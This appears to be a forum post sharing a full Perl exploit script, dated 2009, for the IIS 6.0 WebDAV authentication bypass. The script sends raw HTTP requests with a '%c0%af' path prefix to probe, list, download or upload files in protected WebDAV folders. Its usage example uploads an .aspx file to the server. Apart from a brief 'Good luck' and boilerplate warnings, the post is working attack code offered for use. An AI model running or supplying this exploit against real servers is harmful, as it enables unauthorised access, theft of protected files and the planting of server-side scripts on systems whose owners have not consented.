IIS 6 WEBDAV Exploit (PERL VERSION), Good luck .....:p

Code:
#!/usr/bin/perl
#  ********* !!! WARNING !!! *********
#  *   FOR SECURITY TESTiNG ONLY!    *
#  ***********************************
#  MS Windows WebDav for IIS 6.0 V1.0

use IO::Socket;
use Getopt::Long; 

# Globals Go Here.
my $target;				# Host being probed.
my $port;					# Webserver port.
my $method;				# HTTP Method, PUT GET or .
my $xpath;				# WebDAV path on Webserver.
my $file;					# file name.
my $httpmethod;
my $Host_Header;	# The Host header has to be changed

GetOptions( 
        "target=s"      => \$target,
        "port=i"        => \$port,
        "method=s"      => \$method,
        "xpath=s"       => \$xpath,
        "file=s"        => \$file,
        "help|?"        => sub { 
                                hello();
                                exit; 
                                } 
); 

$error .= "Error: You must specify a target host\n" if ((!$target)); 
$error .= "Error: You must specify a target port\n" if ((!$port)); 
$error .= "Error: You must specify a put or get method\n" if ((!$method)); 
$error .= "Error: You must specify a webdav path\n" if ((!$xpath)); 
$error .= "Error: You must specify a upload or download file name\n" if ((!$file) && $method != "l"); 

if ($error) { 
        print "Try IIS6_webdav_upload_file.pl -help or -?' for more information.\n$error\n" ; 
        exit; 
} 

hello();

if ($method eq "p") {
	$httpmethod = "PUT";
} elsif ($method eq "g") {
  $httpmethod = "GET";
} elsif ($method eq "l") {
  $httpmethod = "PROPFIND";
} else {
  print "$method Method not accept !!!\n";
  exit(0);
}
	
	
# ************************************
# * We testing WebDAV methods first  *
# ************************************
print "-" x 60 ."\n";
print "Testing WebDAV methods [$target $port]\n";
print "-" x 60 ."\n";
@results=sendraw2("OPTIONS / HTTP/1.0\r\n\r\n",$target,$port,10);
if ($#results < 1){die "10s timeout to $target on port $port\n";}

#print @results;
$flag="off";
foreach $line (@results){
	if ($line =~ /^Server: /){
		($left,$right)=split(/\:/,$line);
		$right =~ s/ //g; 
		print "$target : Server type is : $right";

	  if ($right !~ /Microsoft-IIS/i){
		  print "$target : Not a Microsoft IIS Server\n";
		  exit(0);
	  }
	}
	
	if ($line =~ /^DAV: /){
		$flag="on";
	}
	
	if ($line =~ /^Public: / && $flag eq "on"){
	 ($left,$right)=split(/\:/,$line);
	 $right =~ s/ //g; 
	 print "$target : Method type is : $right";
	 if ($right !~ /$httpmethod/i){
	  print "$target : Not allow $httpmethod on this WebDAV Server\n";
	  exit(0);
	 } else {
	   $flag="on";
	 }
	}		
}
if ($flag eq "off") {
  print "$target : WebDAV disable\n";
  exit(0);		
}
#end of WebDAV testing.
print "-" x 60 ."\n";
my $content;
my $data;
if ($httpmethod eq "PUT") {
  #cacl file size
  $filesize = -s $file;
  print "$file size is $filesize bytes\n";
  open(INFO, $file) || die("Could not open file!");
  #@lines=<INFO>;
  binmode(INFO); #binary
  while(read(INFO, $data, $filesize))
  { 
  	$content .= $data;
  }
  close(INFO); 
  #print $content;
  
  $Host_Header = "Translate: f\r\nHost: $target\r\nContent-Length: $filesize\r\n";
} elsif ($httpmethod eq "GET") {
	$Host_Header = "Translate: f\r\nHost: $target\r\nConnection: close\r\n\r\n";
} elsif ($httpmethod eq "PROPFIND") {
	$Host_Header = "Host: $target\r\nConnection: close\r\nContent-Type: text/xml; charset=\"utf-8\"\r\nContent-Length: 0\r\n\r\n";
	$Host_Header = $Host_Header."<?xml version=\"1.0\" encoding=\"utf-8\"?><D:propfind xmlns:D=\"DAV:\"><D:prop xmlns:R=\"http://apache.org/dav/props/\"><R:bigbox/><R:author/><R:DingALing/><R:Random/></D:prop></D:propfind>";
}
print "-" x 60 ."\n$httpmethod $file , Please wait ...\n"."-" x 60 ."\n";

# ************************************
# * Sending HTTP request for WebDAV  *
# ************************************
if ($httpmethod eq "PUT") {
  @results=sendraw2("$httpmethod /%c0%af$xpath/$file HTTP/1.0\r\n$Host_Header\r\n$content",$target,$port,10);
  if ($#results < 1){die "10s timeout to $target on port $port\n";}
} elsif ($httpmethod eq "GET") {
	@results=sendraw2("$httpmethod /%c0%af$xpath/$file HTTP/1.0\r\n$Host_Header",$target,$port,10);
  if ($#results < 1){die "10s timeout to $target on port $port\n";}
} elsif ($httpmethod eq "PROPFIND") {
	@results=sendraw2("$httpmethod /%c0%af$xpath/ HTTP/1.0\r\n$Host_Header",$target,$port,10);
  if ($#results < 1){die "10s timeout to $target on port $port\n";}
}
#print @results;
$flag="off";
foreach $line (@results){
	if ($line =~ m|^HTTP/1\.[01] 2[0-9][0-9] |){
		$flag="on";
	}

	if ($line =~ m|^HTTP/1\.[01] 4[0-9][0-9] |){
		$flag="off";
	}	
}
print "-" x 60 ."\n";
if ($flag eq "on") {
  if ($httpmethod eq "PUT") {
	  print "$httpmethod $file from [$target:$port/$xpath] OK\r\n";
  } elsif ($httpmethod eq "GET") {
    my $line_no = 0;
    my $counter = @results;
    foreach $line (@results){
  	  ++$line_no;
	    if ($line =~ /^Accept-Ranges: bytes\r\n/){
	  	  last;
	    }
    }

    # Write file to disk
    open(OUTFILE, ">$file") or die "Could not write to file: $!\n";
    binmode (OUTFILE);
    print OUTFILE @results[$line_no+1..$counter];
    close(OUTFILE);	 
     
	  print "$httpmethod $file from [$target:$port/$xpath] OK\r\nPlease check $file on local disk\r\n";	  
	  
  } elsif ($httpmethod eq "PROPFIND") {
    print "$httpmethod path list from [$target:$port/$xpath] OK\r\n";
  	foreach $line (@results){
	    if ($line =~ /^\<\?xml version\=/i){
  		  my @list = split("<a:href>", $line);
  		  foreach $path (@list) {
  		  	$no = index($path,"<");
  		  	$result.=substr($path, 0, $no)."\n";
  		  }
  		  print $result;
	  	  last;
	    }
    }
  }
} else {
	print "$httpmethod $file from [$target:$port/$xpath] FAILED!!!\r\n";
}
print "-" x 60 ."\n";
exit(0);

# *************
# * Sendraw-2 *
# *************
sub sendraw2 {
  my ($pstr,$realip,$realport,$timeout)=@_;
  my $target2 = inet_aton($realip);
  my $flagexit=0;
  $SIG{ALRM}=\&ermm;
  socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems");
  alarm($timeout);
  if (connect(S,pack "SnA4x8",2,$realport,$target2)){
    alarm(0);
    my @in;
    select(S); $|=1;
    print $pstr;
    alarm($timeout);
    while(<S>){
      if ($flagexit == 1){
        close (S);
        print STDOUT "Timeout\n";
        return "Timeout";
      }
      push @in, $_;
    }
    alarm(0);
    select(STDOUT);
    close(S);
    return @in;
  } else {return "0";}
}
sub ermm{
        $flagexit=1;
        close (S);
}

sub hello{
  print "\n"; 
  print "\t #################################################\n"; 
  print "\t #       MS Windows WebDav for IIS 6.0 V1.0      #\n"; 
  print "\t #  ************* !!! WARNING !!! ************   #\n"; 
  print "\t #  ** FOR PRIVATE AND EDUCATIONAL USE ONLY! *   #\n"; 
  print "\t #  ******************************************   #\n"; 
  print "\t #  Created by csg 20090524 csgcsg(at)walla.com  #\n"; 
  print "\t #################################################\n"; 
  print "\n\t -target\t\t eg.: 127.0.0.1\n"; 
  print "\t -port\t\t\t eg.: 80\n"; 
  print "\t -method (p:PUT, g:GET, l:LIST)\t eg.: g\n"; 
  print "\t -webdavpath\t\t eg.: webdav\n"; 
  print "\t -file\t\t\t eg.: test.aspx\n\n"; 
  print "\tUsage eg.: \n\tIIS6_webdav.pl -t 127.0.0.1 -p 80 -m p -x webdav -f test.aspx\n"; 
};